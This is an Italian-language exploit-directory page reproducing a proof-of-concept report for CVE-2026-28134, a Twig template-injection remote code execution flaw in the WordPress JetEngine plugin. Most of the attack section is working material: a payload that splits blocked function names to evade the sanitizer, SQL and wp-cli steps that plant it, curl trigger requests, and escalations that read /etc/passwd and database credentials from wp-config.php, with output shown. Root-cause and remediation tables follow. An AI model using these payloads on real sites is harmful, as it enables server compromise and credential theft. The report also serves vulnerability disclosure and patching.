Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - Esecuzione di codice in remoto autenticata (Contributor+) | Kitploit
Strumenti/GitHubGitHub/randomrobbiebf/cve-2026-28134
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSviluppo Payload
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - Esecuzione di codice in remoto autenticata (Contributor+)

Vedi Repository
5 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Report di Sfruttamento della CVE-2026-28134

JetEngine <= 3.7.2 — Esecuzione Remota di Codice autenticata (Contributor+) tramite Twig SSTI

Data: 11 marzo 2026 Punteggio CVSS: 8.8 (Alto) Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin Interessato: JetEngine <= 3.7.2 Plugin Slug: jet-engine CVE: CVE-2026-28134 Stato: Privata Versione di WordPress Testata: Ultima


Sommario Esecutivo

CVE-2026-28134 è una vulnerabilità di Esecuzione remota di codice nel plugin WordPress JetEngine che interessa tutte le versioni fino alla 3.7.2 inclusa. La vulnerabilità consente ad attaccanti autenticati con accesso di livello Contributor o superiore di eseguire comandi arbitrari del sistema operativo sul server iniettando un template Twig malevolo in un post Listing di JetEngine.

La catena di attacco combina tre debolezze:

  1. Un dispatcher AJAX non autenticato, senza controllo di nonce o capacità, che esegue il rendering dei template dei post Listing.
  2. Un motore di rendering Twig/Timber senza sandbox — solo un sanitizer basato su blocklist di stringhe.
  3. Un bypass del sanitizer che utilizza l'operatore di concatenazione stringhe ~ di Twig per dividere i nomi di funzione bloccati tra più token.

✅ VULNERABILITÀ CONFERMATA — RCE Completa Raggiunta

Impatto confermato:

  • Esecuzione di comandi arbitrari del sistema operativo come www-data
  • Accesso completo in lettura al filesystem (/etc/passwd, wp-config.php)
  • Esfiltrazione delle credenziali del database

Dettagli della Vulnerabilità

Riepilogo Tecnico

JetEngine fornisce un tipo di vista Listing basato su Twig/Timber. Quando il componente timber_views è abilitato, i post Listing con _listing_type = twig hanno il loro meta del post _jet_engine_listing_html renderizzato come template Twig live tramite Timber. La pipeline di rendering è raggiungibile tramite l'azione AJAX non autenticata wp_ajax_nopriv_jet_engine_ajax; è sufficiente che l'attaccante possa creare o modificare un post Listing di JetEngine (ruolo minimo: Contributor).

Componenti Interessati


Catena di Sfruttamento

Passo 1 — Dispatcher AJAX non autenticato

ajax-handlers.php registra l'azione AJAX sia per utenti autenticati che non autenticati:

root@kitploit:~
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );

L'handler effettua il dispatch verso qualsiasi metodo pubblico della classe in base a $_REQUEST['handler'] senza controllo di nonce o capacità:

root@kitploit:~
// ajax-handlers.php:96-104
public function handle_ajax() {
    if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
        return;
    }
    if ( ! empty( $_REQUEST['page_settings'] ) ) {
        foreach ( $_REQUEST['page_settings'] as $key => $value ) {
            $_REQUEST[ $key ] = $value;
        }
    }
    call_user_func( array( $this, $_REQUEST['handler'] ) );
}

Chiamare listing_load_more è accessibile pubblicamente e attiva la pipeline di rendering dei Listing.

Passo 2 — Pipeline di Rendering Twig

La catena di chiamate listing_load_more → get_listing → frontend->get_listing_item raggiunge:

root@kitploit:~
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );

Quando $listing_view = 'twig', viene attivato Jet_Engine\Timber_Views\Render::get_listing_content(), che legge il template Twig dal campo meta _jet_engine_listing_html del post e lo passa direttamente a render_html():

root@kitploit:~
// timber.php:150
$template = $twig->createTemplate(
    $this->sanitize_html(
        do_shortcode( $this->sanitize_twig_content( $html ) )
    )
);
return $template->render( $context );

Twig esegue il rendering senza sandbox. L'unica protezione è sanitize_twig_content().

Passo 3 — Bypass del Sanitizer tramite Concatenazione di Stringhe

sanitize_twig_content() rimuove i nomi di funzioni PHP pericolosi utilizzando pattern regex di confine parola e poi verifica se il template è stato modificato:

root@kitploit:~
// timber.php:256-262
$dangerous_funcs = [
    'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
    'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
    $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}

Il pattern \bsystem\b corrisponde al token letterale system. Non corrisponde a "sys" ~ "tem" perché si tratta di due token stringa quotati separati. Twig valuta la concatenazione al momento del rendering, producendo "system" solo in memoria — il template sorgente non contiene mai la parola bloccata.

Payload di bypass:

root@kitploit:~
{{ fn("sys" ~ "tem", "id") }}

Il sanitizer vede fn, "sys", ~, "tem", "id" — nessuno di questi è nella blocklist. Passa invariato.

Passo 4 — Esecuzione di Codice tramite l'Helper fn() di Timber

Timber registra i wrapper PHP richiamabili direttamente nell'ambiente Twig:

root@kitploit:~
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
root@kitploit:~
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
    $args = func_get_args();
    array_shift( $args );
    if ( is_string( $function_name ) ) {
        $function_name = trim( $function_name );
    }
    return call_user_func_array( $function_name, ( $args ) );
}

{{ fn("sys" ~ "tem", "id") }} si risolve in call_user_func_array("system", ["id"]) — esecuzione di comandi arbitrari del sistema operativo.


Prova di Concetto

Prerequisiti

  1. L'attaccante dispone di accesso WordPress di livello Contributor (o superiore).
  2. Il componente timber_views di JetEngine è abilitato (Impostazioni JetEngine > Performance > Timber/Twig Views).
  3. Il plugin Timber library è installato e attivo.

Configurazione

Creare un post Listing di JetEngine con il template Twig malevolo salvato nel meta del post:

root@kitploit:~
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';

-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';

-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';

Oppure tramite wp-cli (come utente Contributor):

root@kitploit:~
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'

Trigger (non autenticato)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Risultato

root@kitploit:~
{
  "success": true,
  "data": {
    "html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
  }
}

Escalation — Lettura File

Stringa bloccata passthru suddivisa come "pas" ~ "sthru":

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Template impostato su {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Escalation — Esfiltrazione delle Credenziali

Template {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:

root@kitploit:~
define( 'DB_USER',     getenv_docker('WORDPRESS_DB_USER',     ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST',     getenv_docker('WORDPRESS_DB_HOST',     ...) );

Analisi delle Cause Radice

Causa 1 — Autenticazione Mancante sull'Azione AJAX

wp_ajax_nopriv_jet_engine_ajax viene attivato per richieste non autenticate. Il dispatcher handle_ajax() non esegue alcuna verifica del nonce né controllo delle capacità prima di invocare listing_load_more. La pipeline di rendering è quindi raggiungibile da qualsiasi utente non autenticato, una volta che esiste un listing malevolo.

Causa 2 — Assenza di Sandbox Twig

L'estensione ufficiale sandbox di Twig (\Twig\Sandbox\SecurityPolicy) impone allowlist a livello di engine — è impossibile chiamare funzioni non esplicitamente consentite. JetEngine utilizza createTemplate() senza sandbox. L'unica protezione è una scansione delle stringhe prima del rendering, facilmente aggirabile.

Causa 3 — Blocklist Regex Insufficiente

L'approccio basato su blocklist (/\bsystem\b/i) opera sul testo sorgente statico del template. L'operatore di concatenazione ~ di Twig costruisce stringhe a runtime. Qualsiasi nome bloccato può essere suddiviso: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", ecc. Una sandbox adeguata rifiuterebbe la chiamata indipendentemente da come è stato costruito il nome della funzione.

Causa 4 — Timber Espone call_user_func_array

Gli helper Twig fn() e function() di Timber sono ponti incondizionati verso call_user_func_array di PHP. Non esiste un'allowlist di funzioni chiamabili. Qualsiasi funzione PHP raggiungibile dal processo web può essere invocata.


Rimedio


Cronologia

DataEvento
2026-03-11Vulnerabilità scoperta e confermata con PoC di RCE completo
2026-03-11Report redatto

Riferimenti

  • Plugin JetEngine — Crocoblock
  • Libreria WordPress Timber/Twig
  • Estensione Sandbox di Twig
  • OWASP — Server-Side Template Injection
Scarica lo strumento
FileProblema
includes/components/listings/ajax-handlers.php:29wp_ajax_nopriv_jet_engine_ajax registrata — nessuna autenticazione o nonce
includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — dispatch arbitrario di metodi pubblici
includes/components/timber-views/timber.php:150render_html() esegue il rendering di un template Twig controllato dall'attaccante senza sandbox
includes/components/timber-views/timber.php:189sanitize_twig_content() — blocklist regex di stringhe, bypassata tramite suddivisione dei token
timber-library/lib/Twig.php:42-43Timber registra fn()/function() come wrapper Twig per call_user_func_array
CorrettivoDescrizione
Aggiungere controllo nonce + capacità a handle_ajax()Richiedere la capacità edit_posts e un nonce valido per ogni dispatch AJAX
Abilitare la sandbox TwigSostituire la blocklist di stringhe con \Twig\Sandbox\SecurityPolicy — consentire esplicitamente funzioni e proprietà sicure
Limitare l'helper fn() di TimberConsentire tramite allowlist i nomi di funzioni chiamabili oppure rimuovere fn()/function() dall'ambiente Twig per template non affidabili
Validare la proprietà del listingConfermare che l'utente richiedente abbia la capacità edit_post sul listing prima di eseguire il rendering del suo template